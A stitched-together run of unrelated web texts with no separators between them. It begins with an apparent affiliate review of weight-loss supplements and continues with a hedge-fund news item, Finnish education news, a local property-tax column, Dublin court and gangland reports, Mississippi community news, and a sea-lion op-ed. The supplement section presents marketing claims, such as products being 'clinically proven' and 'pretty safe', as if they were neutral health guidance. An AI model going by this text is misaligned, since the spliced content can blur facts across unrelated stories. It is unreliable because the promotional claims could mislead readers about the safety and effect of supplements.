PhenGold Up to 55% Off When Buying in Bulk See PhenGold Reviews PhenGold features a multi-action, all-natural metabolism-boosting formula with clinically proven ingredients such as capsaicin[2]. Its made from the best botanicals, vitamins, and many other natural substances that stimulate fat burn and weight loss. Its metabolism-boosting properties are related to caffeine, green tea, cayenne pepper extract, green coffee, and black pepper ingredients. Clinically proven all-natural ingredients

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You have to be very consistent and precise in dosing. PhenGold is a leading weight loss and metabolism booster supplement manufactured by Swiss Research Labs Ltd, a company specializing in natural supplements. Its therefore considered to be pretty safe for both men and women. Its multi-action formula helps reduce cravings, burn fat, and increase energy. It also emphasizes how important it is to keep and maintain a healthy lifestyle while taking PhenGold. Its not a magic pill, but it turns to magic when used in addition to other metabolism booster tools such as a clean diet and exercise. And with 98% customer satisfaction, its hard to say no to trying it out.

Instant Knockout See Instant Knockout Reviews If youre looking for a metabolic booster pill that very effectively suppresses appetite, Instant Knockout is the way to go. Being very high in glucomannan, thats exactly what it does. Scientifically backed for suppressing appetite

All-natural ingredients

Certified vegan friendly Pricey

Very high in caffeine Created for combat sports athletes, Instant Knockout is a metabolism booster supplement with a strong appetite suppressing 2.0 Cut Above Formula, which helps you burn fat and lose unwanted stubborn fat in a very safe and trusted way while helping you maintain muscle mass. It contains glucomannan[3], an ingredient that is made from the root of the Japanese konjac tree. It suppresses the appetite by expanding in the stomach and thereby helping decrease hunger. This keeps you fuller for longer and helps you from reaching out for yet another unnecessary snack between your meals. Also, all the ingredients are natural and scientifically backed, so its no wonder that so many people trust this brand.

CrazyBulk Clenbutrol See CrazyBulk Clenbutrol Reviews Best legal, a metabolic boosting alternative to the infamous fat-burning clenbuterol. It stimulates thermogenesis and helps to burn calories by boosting metabolism while keeping your lean muscle for as long as possible. Legal clenbuterol alternative

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High in guarana CrazyBulk Clenbutrol is a safe and legal alternative to clenbuterol which helps you maintain lean muscle mass even on a crazy calorie deficit. It improves performance during your workouts and uses stored fat for your energy needs. CrazyBulk Clenbutrol also increases your oxygen flow, improving your cardiovascular performance and helping you reap the benefits of each and every workout you do. Its important to note that even though it strongly emphasizes how much it affects your workouts, you do not have to be a professional athlete to use CrazyBulk Clenbutrol. It will be just as much work if you only go to the gym a few times a week. The effect comes from within, and the more your body fires up, the more calories (and fat cells) it will burn.

Best Metabolism-Boosting Ingredients

Caffeine

Probably one of the best metabolism boosters is caffeine. Its well-researched[4] and the effect it has on promoting thermogenesis and actually boosting your metabolism has been proven. The existing studies all agree on a minimum daily dose of 270 milligrams of caffeine being the base limit for people to burn more calories than they would without it.

For reference, the majority of caffeine supplements have around 200 mg of caffeine, and one cup of coffee has between 80 and 100 mg of caffeine[5], depending on how the coffee was prepared and sourced.

L-Carnitine

Another popular metabolism booster is L-carnitine[6], an amino acid compound that plays a crucial role in energy production as it helps convert fat into energy. Its produced by our bodies, but it can also be found in animal products, nuts, and legumes.

Most people get enough L-carnitine from their diet, but many often choose to take it in supplement form in order to stimulate their metabolic rate and help them burn fat as well as lose body weight.

Another health benefit is this amino acid helps to stabilize blood sugar levels which will help curb stubborn cravings that frequently lead to an unwanted increase in body weight.

Even though its exact effect on weight loss is questionable, it does help convert fat into energy and can therefore be a helpful additional tool for those trying to boost their metabolism. Still, its important to note that taking too much[7] L-carnitine in supplement form can have a potentially negative effect and yield some dangerous side effects, so taking precautions is always necessary.

Green Tea and its Catechins

Green tea and green tea extract have been on the list of the best metabolism boosters for years and the reason for it are catechins[8], very potent antioxidants[9] that reportedly have a great effect on our metabolic rate. Some studies[10] really do show its efficacy in burning fat and reducing cholesterol, so its no wonder that many metabolism boosters have green tea extract as one of their main ingredients.

Resveratrol

One of the most potent antioxidants in the world, resveratrol[11] is found in the skin of red grapes, mulberries, peanuts, and Japanese knotweed. Its known for its anti-inflammatory and cancer-preventing properties. As a metabolism booster, resveratrol has proven to be efficient in studies done in rats[12], but unfortunately, theres not enough evidence to support its use in humans yet[13]. Still, given their highly potent antioxidant properties, theres not much harm in adding them to a metabolism-boosting supplement, so many of todays brands have it in their ingredient list.

Capsaicin

The Chili pepper extract capsaicin may have a great impact on boosting our metabolism and promoting fat burn[14]. It seems that ingesting capsaicin can increase the number of calories you burn[15] by approximately 50 calories a day. Thats why this chemical is a very common ingredient in many metabolism booster supplements. Even in its raw, natural form when eating chili peppers, youll already feel your body temperature increasing and thermogenesis happening, so you can literally experience its metabolic boosting effects.

Conjugated Linoleic Acid (CLA)

A group of omega-6 fatty acids, conjugated linoleic acid, or CLA[16], is thought to be a metabolic booster, aiding in promoting weight loss and burning fat. Some studies[17] show its effect on weight loss, but the results may vary from person to person. Its important to note though, that common side effects of taking these fatty acid supplements are gastrointestinal problems and fatigue. This may deter many from taking a metabolic booster with CLA in its list of ingredients.

Chromium Picolinate

This metabolic booster is a form of the mineral chromium, which is safe and can mostly be found in supplements. Its effect on weight loss and fat burning[18] has been studied for years as the results show a decrease in appetite and reduced cravings[19]. This consequently turns it into a great weight loss tool that, when combined with a stimulant like caffeine, can have real visible effects on helping you rid yourself of stubborn fat.

How To Choose Metabolism Boosters?

When it comes to choosing which metabolism booster is right for you, it depends on a myriad of factors such as your age, gender, level of activity, current weight and BMI, and whether or not you suffer from some physical or mental illnesses. The current metabolism boosters on the market differ in the ingredient list, advertised effects and side effects, and who theyre suitable for.

The Ingredient List

Some brands go the lab way and choose tested and clinically sourced ingredients, and others go all-natural, and the third group of brands chooses to combine the two. How you choose, your formula depends on your preferences and whether or not some of the ingredients are known to be harmful to you. If youre already taking some medications, always consult with your doctor before adding a metabolism booster to your routine.

Backed by Science

While there are many different metabolic booster pills on the market, its important to see which brands formula is actually backed by science and clinical trials. Many of them claim to be the best out there, but without transparency, its hard to know whats hidden in those pills. Always make sure to do your research before trying to add a dietary supplement to your regimen.

Advertised Effects

Most metabolism boosters exist for the sole purpose of boosting your metabolism and helping you lose weight while burning fat. Still, some brands claim they also help improve your athletic performance while you maintain lean muscle mass. If youre training for a specific goal, these brands may be more beneficial to you.

Raving Testimonials

If youre someone who loves reading positive reviews and uses it as a measure to trust a brand, then theres no better way to choose a metabolism booster thats right for you than by browsing through themone by one.

Potential Side Effects

Some metabolism booster pills warn about the potential side effects that may be harmful, including gastrointestinal issues, fatigue, vomiting, headaches, and more. Always read the fine print and check to make sure you know the potential adverse side effects before you take them.

How To Increase Your Metabolism?

Metabolism booster pills are a great tool to have at your disposal, especially if nothing youre currently doing isnt moving the needle. They can be an amazing addition to your daily routine, which already consists of other natural ways to boost your metabolism. These include:

Drinking More Water

Studies show that increasing your water intake can help speed up your metabolism[20]. It stimulates thermogenesis[21] as the body has to burn calories to warm the fluid to body temperature. Drinking water also helps suppress your appetite and promotes the better overall function of your entire body.

Exercise

Increasing your daily activity level boosts your metabolism like nothing else will ever do. No matter what type of exercise you choose to do, it stimulates heat production in your entire body and helps you burn more calories. Still, studies show that the best type of exercise to increase your metabolism is HIIT (high-intensity interval training), as it promotes fat burn long after the workout has finished[22].

Eating More Protein

Protein is a macronutrient that is known to increase the thermic effect of food[23], also known as TEF, the most. It causes your body to heat up in order to properly digest it and therefore uses more energy to do so. This way, eating protein-rich foods boosts your metabolism the natural way and may also alleviate food cravings.

Keeping a Healthy Sleep Routine

Sleep is your recovery time, and the more you focus on optimizing it, the better your metabolic rate will be[24]. Lack of sleep has been linked to higher obesity rates and inflammation, insulin resistance, and diabetes, as well as depression and anxiety. Sleep also affects your hunger and satiety hormones, and if youre not getting enough of it, you might feel hungry when you actually arent and full when you should be eating.

Drinking Coffee and Green Tea

Most metabolic booster pills contain caffeine and/or green tea extract, as these two compounds have an impressive effect on jumpstarting your metabolism and burning fat. They are also naturally present in coffee and green tea, so drinking them may help you get the same effect[25].

Eating Spicy Foods

Other well-known ingredient of many metabolic booster pills is capsaicin and chili pepper extract. Try adding it to your diet and let your body naturally reap its metabolic-boosting benefits. If you take a thermogenic fat burner with chili pepper extract, you wont have to eat spicy foods to increase metabolism and promote fat loss.

Final Thought

Best metabolic boosters usually come in the form of pills, and while there seem to be new ones coming out almost on a weekly basis, its important to note that they are not magical. Whether or not theyll work depends on the rest of your daily routine. Clean up your diet, stay hydrated, increase your daily activity level, and optimize your sleeping routine. With this healthy routine, make sure your metabolism booster pill has natural, trusted ingredients that are scientifically backed. This way, youll be on your very best way to a healthier, lighter, better you.

Frequently Asked Questions

What are metabolic boosters? Metabolic booster pills are a mix of different, scientifically proven ingredients that help induce thermogenesis, and therefore help you burn more calories and lose weight.

What does the term thermogenesis mean? Thermogenesis is a term used to describe heating up your bodys temperature and increasing your basal metabolic rate. This way, your body is burning calories and fat, helping you lose weight. How can you naturally boost your metabolism? The best ways to naturally boost your metabolism include proper hydration, eating plenty of protein, adding spicy foods into your diet, optimizing your sleep routine, exercising, and drinking more coffee and tea. Are metabolic booster pills effective? Metabolic booster pills arent magical, but they are effective. Combine them with a healthy diet, exercise, and sleep, and their efficiency will increase.
(Valuewalk) Fund launches and investor appetite decline while performance records losses. The latest Preqin research finds that having made gains of 7.54% in 2015, Asia-Pacific-focused hedge funds recorded losses of 2.02% through the opening quarter of the year, the lowest performance of any region. While the hedge fund industry as a whole saw returns of -0.43% in the quarter, monthly returns for Asia-Pacific funds were the most volatile of any region, as Preqins benchmark ranged from -4.19% in January to 4.13% in March. Europe-focused funds also struggled in Q1 2016, recording losses of 1.97%, while North America-focused funds posted -0.64% for the period as a whole.

To read this article:
The Government Institute for Economic Research (VATT) proposed yesterday that the entrance examinations be eradicated and replaced with an admission system based upon performance in the matriculation examination, a centralised application register and a smart algorithm.

Sanni Grahn-Laasonen (NCP), the Minister of Education and Culture, is open to the idea of eradicating entrance examinations in higher education.

The proposal makes a lot of sense. I am in favour of abolishing the strenuous entrance examinations, Grahn-Laasonen writes on her website.

VATT argued in its press release that the current system is flawed in that it forces applicants to devise a strategy to balance their true aspirations and the likelihood of admission. It also said the amount of time the applicants are required to invest in preparing for the examinations prevents them from applying to more than one field of study.

The abolition of the examinations would encourage aspiring higher education students to contemplate what they really want to study, according to VATT.

The conclusions drawn by VATT about our entrance examination system and its inefficiency correspond with those of the Government and support the reforms I have launched in an attempt to expedite the transition to higher education, reduce the number of gap years and better utilise the matriculation examination as part of the entrance examinations, writes Grahn-Laasonen.

She estimates that the fact that young people in Finland transition to higher education at a later age than their peers elsewhere in Europe suggests the current system is no longer functional.

On average, young people have to apply more than once to the more popular fields of study and pay for expensive prep courses, which is a problem also from the viewpoint of educational equality. It is difficult for young people to first prepare for the challenging matriculation examination, the results of which are not utilised as widely as possible, and then spend the entire spring preparing for a difficult entrance examination, says Grahn-Laasonen.

The Government, she reminds, has initiated a spearhead project to support the transition of young people to the working life.

Higher education institutions are encouraged to revamp their entrance examinations in a direction that measures aptitude and motivation instead of memorised facts, says Grahn-Laasonen.

Aleksi Teivainen  HT

Photo: Vesa Moilanen  Lehtikuva

Source: Uusi Suomi
Ask Matt ... how much property is tax exempt

Related Stories

Q. How much of the property in the City of Hendersonville is exempt from taxation?

Lets start with the big number of $1.5 billion, the total 2015-2016 assessed valuation of real property (as opposed to personal property) that lies within the city limits. Of that, about $369 million or 24.6 percent is classified as exempt from taxation. State law requires that each countys assessor must review one-eighth of the exempted property in the county each year.

It was difficult to come up with an exact categorical breakdown of the $369 million for exempt properties because over the years some government land tracts were titled differently. Nevertheless, heres my best effort. Government buildings were the largest exempt group with $102 million of value. Churches and church schools came to $72 million. Pardee Hospitals dozen tracts totaled $62 million but the new Pardee-BRCC-Wingate Health Sciences Center (what I call The Big Glass House) could add another $20 million next year. Carolina Village (yes, its a nonprofit) property was $38 million, and the four public schools in town plus the administration building totaled $28 million in value. Public housing units list at $13 million, elderly and disabled exemptions came to $10 million, and all other exemptions, including nonprofit organizations, totaled $44 million.

Yes, our County Seat does carry the load for tax-exempt properties. Thats kind of the way it is all across the fruited plain.



Q. How long has the Christian Science Reading Room been on Main Street and how can they afford such prime real estate?

The Reading Room has been on the corner of Main Street and Fifth Avenue perhaps 30 years occupying what was formerly a shoe store. The Reading Room is fully supported by the local Christian Science Church in Hendersonville. Some funds are also raised from the sale of books and Bibles. Marjorie Krueger, the head librarian who spends Fridays at the reading room explained the churchs mission. We dont do soup kitchens, said Krueger. This is how we give back to the community. Krueger said that many patrons drop by to pick up a copy of the Christian Science Monitor, one of the most respected national publications. Krueger added, We have a back room where there is a quiet space. Anyone, not just church members, may come to read, study, pray or just sit by our fireplace and take a break. They have now added a new flat screen TV so they can offer media programs developed by their Mother Church in Boston.

Send questions to askmattm@gmail.com.
Robert Byrne did not turn up to court to face charges

A warrant has been issued for the arrest of a bookkeeper who attacked his pregnant ex-girlfriend as she tried to get a bus home, punching her in the face.

Robert Byrne (23) had taken a "serious amount of tablets" when he assaulted the woman, leaving her bleeding and distraught.

As well as the punch, he grabbed her by the throat and pressed his thumb against her eye.

He admitted the assault at Dublin District Court last year and his case had been adjourned for the preparation of a pre-sentence probation report.

However, when his case came back before Judge Ann Ryan, he was not present and the judge issued a bench warrant for his arrest.

He will be brought back before the court for sentencing when gardai execute the warrant.

Byrne, with an address at Cedarfield, Drogheda, Co Louth, pleaded guilty to assault causing harm to Sara O'Hanlon at Aston Quay on May 18, 2014.

Mooned

When he entered his plea, the court was told he followed Ms O'Hanlon onto the bus with a fake travel pass. After his arrest he "mooned" gardai.

Garda Declan Reynolds said Ms O'Hanlon called the gardai after Byrne assaulted her.

When they arrived, officers found her "dishevelled and upset", bleeding from cuts.

Byrne was trying to speak to her.

They had met at Busaras and when she went to get her bus, he had started to attack her. He pulled her back and punched her in the mouth.

He refused to leave the bus and had to be taken off it by the gardai.

During his arrest, he threw himself against the patrol van, knocking the wing mirror out of place.

While being escorted out of Store Street Garda Station later, he broke a panel in the door.

Outside, he dropped his trousers and "mooned" the gardai.

Byrne was "most remorseful for his behaviour", his lawyer said.

He had taken valium, codeine, dalmaine and alcohol at the time.

Byrne was a qualified bookkeeper, but lost his job because of a hand injury.
Judge John Lindsay put her the mother-of-three on a probation bond for a year, Stock photo: Getty Images/iStockphoto

A mother-of-three took bicycles worth 3,500 from a house she burgled, a court heard.

Lisa O'Shea (24) was one of two people who broke into the home and took two bikes.

A co-accused who was not in court had a "bigger part to play" in the crime, the court heard.

Judge John Lindsay put her on a probation bond for a year.

Dublin District Court heard the burglary happened when the sliding doors of the house were smashed.

Two bicycles were stolen from the living room. O'Shea was identified on CCTV footage.

She was later arrested, but the property was never recovered.

In the other incident, O'Shea snatched a phone from a woman on the street. It was recovered and returned to the victim.

The accused's children were aged six, three and one and she had a history of substance abuse, her solicitor Aine Flynn said.

The accused had three previous convictions under the Theft Act, a garda sergeant said.

"She assures the court she is determined not to find herself in this kind of difficulty again," Ms Flynn added.

Judge Lindsay warned: "It ends up with you going to jail if you come back."

O'Shea, with an address at the Morning Star Hostel in the north inner city, admitted entering a building with intent to commit a theft.

The offence happened at Blessignton Lane, Dublin 7 on November 2, 2015.

She also pleaded guilty to stealing a mobile phone at Parnell Street on September 1 last year.
Patrick Doyle (26) was arrested when he shouted obscenities in a garda station. (Stock picture)

A man was arrested when he shouted obscenities in a garda station.

Patrick Doyle (26) was put on a peace bond for a year and fined 200 after a judge said gardai had "enough to be getting on with".

Dublin District Court heard the incident happened at Crumlin Garda Station on February 10 last.

Doyle was there "for a separate matter" while gardai were dealing with someone else, Sgt Niall Gillooly told Judge Michael Walsh.

"He became abusive and aggressive and cursed," Sgt Gillooly said.

Offences

The court heard Doyle had previous convictions for public order and other offences.

"He apologises to the gardai for all the trouble he caused," defence solicitor Anarine McAllister said.

The accused has a five-year-old child and his partner is expecting a second.

Judge Walsh said it was an aggravating factor that the incident happened in a garda station.

Doyle, a father-of-one with an address at Cashel Avenue, Crumlin, pleaded guilty to using threatening, abusive and insulting behaviour to cause a breach of the peace.
a Dublin student is suing a Romanian university for more than 100,000 after they wrongfully expelled her from the college and refused to return her 5,000 admission fee.

Yasmine Dakik (20), from Clonee, had been studying at the university for three months, and she received a letter from the college when she returned from the Christmas break saying there were issues with papers and that they had to revoke her registration.

The student has already won a three-year legal battle to return her 5,000. While the college has offered 1,500 in compensation, her solicitor is seeking around 100,000 in compensation and damages.

The university, Iuliu Hatieganu University of Medicine and Pharmacy (UMF), is based in the Romanian city of Cluj. Her case has gone viral across the country.

Ms Dakik told the Herald that she wanted to warn fellow Irish students about the perils of studying in a different country.

"For me, because of what I went through, I just want to make Irish students aware and let them know not to be fooled," Ms Dakik said.

"There's a lot of corruption. They treated me so badly. I lost so much time in my life and it caused me a lot of stress - and my family too.

Strange

"I was on my own, my parents couldn't come straight over. The issue happened at the end of December and my parents couldn't come over until February.

"So you can imagine what it was like for a 17-year-old in a situation like this, in a strange place, where I didn't know the language and didn't know too many people

"I had to do things by myself. It was really different - it was scary," she added.

Having won the first part of her case, Ms Dakik is due to fly back to Romania soon to begin proceedings in her case for compensation and damages from the university.

She said the case has already cost her family more than 30,000.

Claim

"We haven't yet received the tuition fee of 5,000," she said.

"For me, I'm not accepting the 1,500 on offer.

"According to my solicitor, I should be able to claim over 100,000 for compensation and damages for the time they wasted in my life and the stress they've caused me and my family."
The devastated family of innocent gangland victim Martin O'Rourke have thanked the public for the outpouring of support since his murder.

Martin's father-in-law Larry Power spoke to the Herald ahead of the young dad-of-three's funeral today.

"We would like to thank everyone for all of the support and the help that they have shown to the kids.

"We just want to say a big, huge thank you to the community in Sheriff Street on behalf of the family and Martin's three children. They've been very supportive, it's a very strong community down there," he said.

Following a public appeal for help covering the funeral costs for the Dublin man who was murdered in a case of mistaken identity, more than 5,000 flooded in.

Mr O'Rourke will be laid to rest today after a Mass in Halston Street church, which will be led by Fr Bryan Shortall.

Shooting

The shooting of the innocent Mr O'Rourke last Thursday was the latest incident in the feud between the Kinahan and Hutch gangs.

Mr O'Rourke had suffered with addiction issues and was living in sheltered accommodation with his partner at the time of his death.

The Power family, who took him in as their own when he started a relationship with their daughter, have spoken of his difficult upbringing. They said that he was given "no direction" in his youth.

However, he was attempting to get his life on track in order to be a good dad, his family said.

Mr O'Rourke's fiancee, Angelina, is pregnant with the couple's fourth child, and has spoken of her heartbreak.

"All I want is to have him back," she said.

"He was a family man who was in the wrong place at the wrong time."
The scene at the Fayrouz Lounge in Amsterdam where the victims severed head was found in a bucket outside a cafe

The notorious Christy Kinahan cartel are closely associated with a feared mob who are involved in a deadly criminal feud being played out in Amsterdam.

The Dutch violence has proven to be more deadly than the Kinahan cartel's bitter gang war here with the Hutch mob.

The feud in the Netherlands has already led to:

l The shocking murder of a criminal involved in the gang war whose severed head was left in a bucket outside a cafe

l A mother being shot dead in front of her children

l 16 brutal killings - including completely innocent victims - since the continental feud kicked off in 2014. This compares with five in the Hutch/Kinahan feud which started with Gary Hutch's murder in Spain last Sepetember.

It emerged this week that the Irish cartel have been closely linked to a vicious Dutch mobster, Gwenette Martha, who was shot dead in central Amsterdam in May 2014 - three months after two hitmen gunned down fellow gang member Mohammed el Mayouri near a cafe.

Investigated

"The links between these crime organisations is being actively investigated by police forces across Europe and has been for some time," a source said last night.

"It is well known that many of the key players in the cartel, including Freddie Thompson and Christy Kinahan Snr, have spent time living in Amsterdam.

"It is not believed that they have been active participants in the Netherlands feud - but investigations have established they are strongly linked to one side that has been involved in the bloodbath there and have been for a number of years," the source explained.

"It has been established that there have been meetings between players in the Dutch gang and the Kinahan cartel in Ireland, Holland and Spain.

"In turn, a number of English gangs are also associated with this crime network," the source added.

The latest gruesome incident linked to the Dutch feud occurred on March 9 when a severed head was found outside a shisha cafe in Amsterdam. The victim's decapitated body was found the previous day.

The head was discovered outside the Fayrouz lounge close to Amsterdam's popular Vondelpark.

It was found inside a blue bucket on the pavement and was "turned so that his face looked through the windows". Detectives identified the body as 23-year-old Nabil Amzieb, and said he was "known to police".

It is understood he was due to give evidence in a trial related to the bloody feud.

The man was part of the city's Moroccan mafia, according to Dutch newspaper, the Telegraaf.

Local media reported the location where the head was found is a significant place for the gangs of the city, who are involved in what the paper calls the "Mocro war".

It is understood an associate of the Kinahan cartel is a suspect for this brutal murder.

The lounge was reported to have been a meeting place for criminal activity since 2012, according to NL Times.

At least 16 people have died in the Netherlands, Belgium and Spain in related underworld killings since March 2012, when a gang stole almost 20m worth of cocaine - most of it reportedly destined for the Irish and British market - entering Europe through the Belgian port of Antwerp.

Another notable murder in the bitter Amsterdam feud was that of Luana Luz Xavier (34), the girlfriend of an Amsterdam criminal involved in the feud, who was shot dead in front of her teenage daughter and son in December 2014.

Six months earlier, innocent custom services manager Stefan Eggermont (30) was shot dead in a case of mistaken identity as part of the feud.

In scenes similar to February's Regency Hotel gun attack in Dublin, Kinahan-aligned mobster Gwenette Martha was shot dead in an Amsterdam suburb as he came out of a kebab shop in March 2014.

Despite wearing a bullet-proof vest, he was hit by 80 rounds from two or more AK47 rifles. So many rounds were fired that Dutch police said it was a miracle no-one else was hit.

The bitter Amsterdam feud has led to several public shootouts that began with the murder of Najeb Bouhbouh (34) who was gunned down at the Crowne Plaza hotel in Antwerp, Belgium in October 2012.

Ironically, cartel overlord Christy Kinahan Snr. was residing in Antwerp at this time but in the city's main jail serving a four-year sentence for fraud-related offences.

The money-laundering case was brought against the drug boss following his arrest by Belgian federal police, in May 2008 who later released him.

Extradited

He was extradited to Belgium from Spain in 2010 as part of the massive international Operation Shovel into his estimated 500m drugs enterprise before leaving jail in Belgium three years ago.

Meanwhile, sources say that tensions remain high on the streets of Dublin after last week's murder of innocent dad-of-three Martin O'Rourke who gardai believe was shot dead by a Kinahan gun-for-hire whose intended target was Hutch mobster Keith Murtagh (32).

It emerged last night that the cartel are attempting to find out Murtagh's location in the UK in an attempt to murder him.
The vulnerable man is kicked and punched by thugs who stole his phone

Gardai investigating the horrific mugging of an autistic man have recovered a mobile phone after arresting two people on suspicion of assault.

The Herald yesterday revealed a group of thugs attacked the vulnerable man after he helped a wheelchair-bound passenger from the Dart station in Bray, Co Wicklow.

The victim, who is aged in his 20s, suffered a broken nose and two black eyes in the sickening robbery.

Detectives in Bray have arrested two people in relation to the attack, which took place at 6pm on April 4.

A 29-year-old man was detained on Wednesday, while a 19-year-old woman was arrested for questioning yesterday morning.

The arrested male - who is well-known to gardai in relation to drug-related incidents - was released without charge while a file is being sent to the DPP.

Punched

The teenage girl was questioned for a number of hours, but has since been released without charge.

A mobile phone, believed to be the victim's, was also recovered during a search in the Bray area.

Our exclusive CCTV images revealed the extent of the horrifying attack, during which the victim was punched a number of times in the face before being kicked in the head.

The disturbing images show the young man being approached by a male who forcefully put his right hand into his pockets.

The cowardly gang then gathered around the young man as he tried to flee.

A young woman attempted to prevent the male thug from attacking the victim, but he repeatedly struck him in the face with vicious blows.

He then launched a full-force kick to the victim's face while he was on his knees pleading not to be hit any more.

As the shocked victim leaned against the wall and covered his face, a female member of the gang searched his pockets and took his mobile phone.

The video also clearly shows that four members of the public walking by without helping the victim.

After concerns were raised by the victim's family regarding the layout of Bray Dart Station, an Irish Rail spokesperson said a review will be conducted towards "the possibility of altering the layout".

"We are shocked at this horrific attack, and have been working closely with the gardai to assist them in their investigations. We have also liaised with the victim's family.

"Thankfully, this area does not have a record of incidents of this kind or anti-social behaviour.

"It is an exit off the southbound platform that was only open at limited times previously. Following requests locally we put in ticketing and entrance facilities there four years ago to allow easier access from that area of the town," a spokesman for Irish Rail said.

Security

"One of the walls is onto the platform, and one is a boundary wall shared with another property. We will review the possibility of altering the layout with the neighbouring property.

"Bray Station is manned at all times, and CCTV can be accessed and reviewed quickly. We also have mobile security teams operating in the evening, and we will deploy resources as necessary to address any issues as they arise."

The young man's father told the Herald that his son had been left severely shaken by the unprovoked incident.

"He's autistic, a timid lad and would be nervous," said the man, who wished to remain anonymous to protect his son's identity.

"He's kind of always been a bit bullied and had a tough time when he was growing-up.

"He was always brought up to do the right thing - when travelling, move up to the front of the train.

"He and the other man were trying to help the man in the wheelchair on the platform by getting attention from some staff," he said.
LUCEDALE, Mississippi -- It's going to be a busy Saturday in George County this weekend with several big spring events.

The Lucedale Farmer's Market, the annual American Heart Association Heart Walk & Run, and Cruisin' for St. Jude are all set for Saturday.

At the crack of dawn, the Farmer's Market will open, featuring spring crops in front of the George County Courthouse. The market will include fresh strawberries, potatoes, bell peppers, brown eggs, jams, jellies and a wide selection of nursery bedding plants.

The market is in downtown Lucedale on Cox Street on the Courthouse Square. Local farmers start arriving and setting up before sunrise.

"The market goes from sun-up to sell-out, but like I tell everyone, get there early to get the good stuff," said Lucedale Mayor Doug Lee. "When you buy at the Farmers Market, you get the freshest produce and directly support our local farmers."

The Lucedale Farmer's Market is an award-winning community event sponsored jointly by the City of Lucedale, the Chamber of Commerce and the George County Board of Supervisors. Lee says the market is only made possible with the support of local farmers and local customers.

"'Buy Local, by George' -- our motto really does say it best," Lee said.

Also Saturday morning, runners are encouraged to lace up their shoes for the "Heart Run and Walk" through scenic Downtown Lucedale hosted by George County Regional Hospital. Registration begins at 7 a.m. on the hospital's front lawn and the 5K run begins at 8:30 a.m. There will also be a one mile Fun Run starting at 8:40 a.m. for all age groups.

Following the race there will be heart healthy food and drinks for all participants and an awards ceremony for all 5K run age groups.

All proceeds benefit the American Heart Association. Registration is still open and will remain open until the race begins. Registration forms and race routes can be found at the George County Regional Hospital website and Facebook page.

The Destiny Goss Memorial Cruisin' for St. Jude Motorcycle Ride and Car Show completes the Saturday morning trifecta of events as it rolls into the George County Fairgrounds starting at 8 a.m. This 6th annual benefit ride and event is hosted again by the Blacktop Posse Motorcycle Club.

This year's benefit is slated to be the biggest to date and features: Car & Truck Show from 9 a.m. to 2:30 p.m.; a Motorcycle Ride at 10 a.m., and live local music from 10 a.m. to 3 p.m. Food vendors, arts & crafts vendors, and a kid's zone will be offered throughout the event.

All proceeds benefit St. Jude Children's Research Hospital. For more information, contract Amanda Howard at 601-508-2202.
MOSS POINT, Mississippi -- Well over 100 Moss Point middle school students had an opportunity to get up close and personal with native plants, fish, birds and even snakes during a Friday visit to the Pascagoula River Audubon Center in recognition of Earth Day.

The event was sponsored by Chevron Refinery, which had about 10 employees on hand in disciplines ranging from engineering to information technology to environmental experts on hand to work with the kids, who went through eight different stations in 25-minute intervals.

The stations included demonstrations on fish diversity in the river, plant diversity, animal rehabilitation, bird and native plants.

"We're focusing the day on biodiversity," said Audubon Center director Mark LaSalle, "to educate these kids in the huge diversity along the Pascagoula River -- why it's important to protect the river, the river they live on."

Students had an opportunity to touch a large Columbian Red Tail Boa, courtesy Wild At Heart Rescue in Latimer. Volunteer Abby Marshall "wore" the snake around her neck as student tentatively moved in to touch or pet the snake (there were a few, of course, who wanted no part of it).

Marshall explained the snake had been a domestic pet, but ultimately released by its owner somewhere in Gulfport.

"He was grossly underweight when we got him," Marshall said. "But we were able to get him healthy and back at a good weight. He's been trained for shows like this."

Over at Joe Wyatt's reptile display, student were able to learn about the variety of turtles native to the area and other reptiles. Sitting on a ground behind Wyatt as he spoke was a huge rattlesnake -- a dead one, mounted by a taxidermist.

Wyatt said he caught the snake in Florida and when he turned it over to the taxidermist for mounting. Part of the process involved removing the snake's fangs, which are more pointed than a sewing needle, Wyatt said.

As the taxidermist worked, he "pricked" himself on one of the now-frozen snake's fangs, ever so slightly. But the snake was large -- and the venom still lethal.

"He lost feeling in his arm for six hours," Wyatt said. "Just from that tiny little prick from one fang on a frozen snake."

Abbey Brandenstein, Community Affairs representative for Chevron, said programs such as Friday's Earth Day event are of vital importance to the company.

"Chevron is committed to continuing to invest not only in education, but also in the environment," said said. "That's exactly what you're seeing here today. It's great for these students to see this firsthand and then take it back to their own lives, whether at home or at school."

The students trip to the Audubon Center was one of four+ Earth Day-centered events sponsored by Chevron this week.

Thursday night, the refinery partnered with Mississippi Power Co. to host more than 100 environmental partners for an appreciation dinner at Pelican Landing in Moss Point. Noted nature photographer Stephen Kirkpatrick was on hand as the keynote speaker.

Also on Friday, students from Trent Lott Academy in Pascagoula participated in "Mad Scientest Day," another Chevron-sponsored event. Students learned about scientific principals through hands-on, "non-traditional" activities, which included learning about potential energy and kinetic energy by building catapults from which to launch gummy bears.

The refinery is also one of multiple sponsors for the annual Jackson County Hazardous Waste Collection Day, held Saturday on the grounds of the former Singing River Mall.
Sea lions contribute only a small percentage of the total take of chinook salmon. We humans are responsible for a far larger share of the mortality. Photo by iStockphoto

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It should not be a capital crime to engage in an essential feeding behavior. Yet in the mixed-up ideologies of old-school proponents of predator control and fisheries management, thats just what happens. As a result, California sea lions in Oregon and Washington face the prospect of being killed because they eat fish. Mind you, both the salmon and the sea lions are native, and their predator-prey relationship has endured for thousands of years.

In recent years, the federal government granted lethal take permits to Oregon and Washington with the intention of cutting down on sea lions killing native prey. Now that the authorization is set to expire, the states are pleading with the federal government to renew the permits to allow them to kill more sea lions over the next five years.

The sea lions contribute only a small percentage of the total take of chinook salmon. We humans are responsible for a far larger share of the mortality. Salmon return each spring to spawn in the tributaries of the Columbia River, and the greatest cause of their deaths is the series of dams and blocked passages that threaten their ability to travel and reproduce. In 2015, a court ordered the states to fix hundreds of barriers built under state roads and highways that block access for migrating salmon, yet action to comply with that decree has been slow and grudging. Whats more, fishermen are allowed to catch and kill up to 17 percent of the salmon in the spring run. Many of the fish that die are from endangered stocks.

Yet another human-caused factor contributing to the salmons troubles are non-native bass and walleye, intentionally dumped in the river to create more recreational opportunities for sport fishermen. A report by government scientists found that these non-native fish eat up to two million young salmon each year and compete with the adults for spawning habitat.

Despite all these threats, the size of the spring salmon run is not declining. A 2015 government report to Congress found the spring spawning salmon runs are stable. As a matter of fact, far from being decimated by sea lions, the spring run size in 2015 was the third highest since 2001.

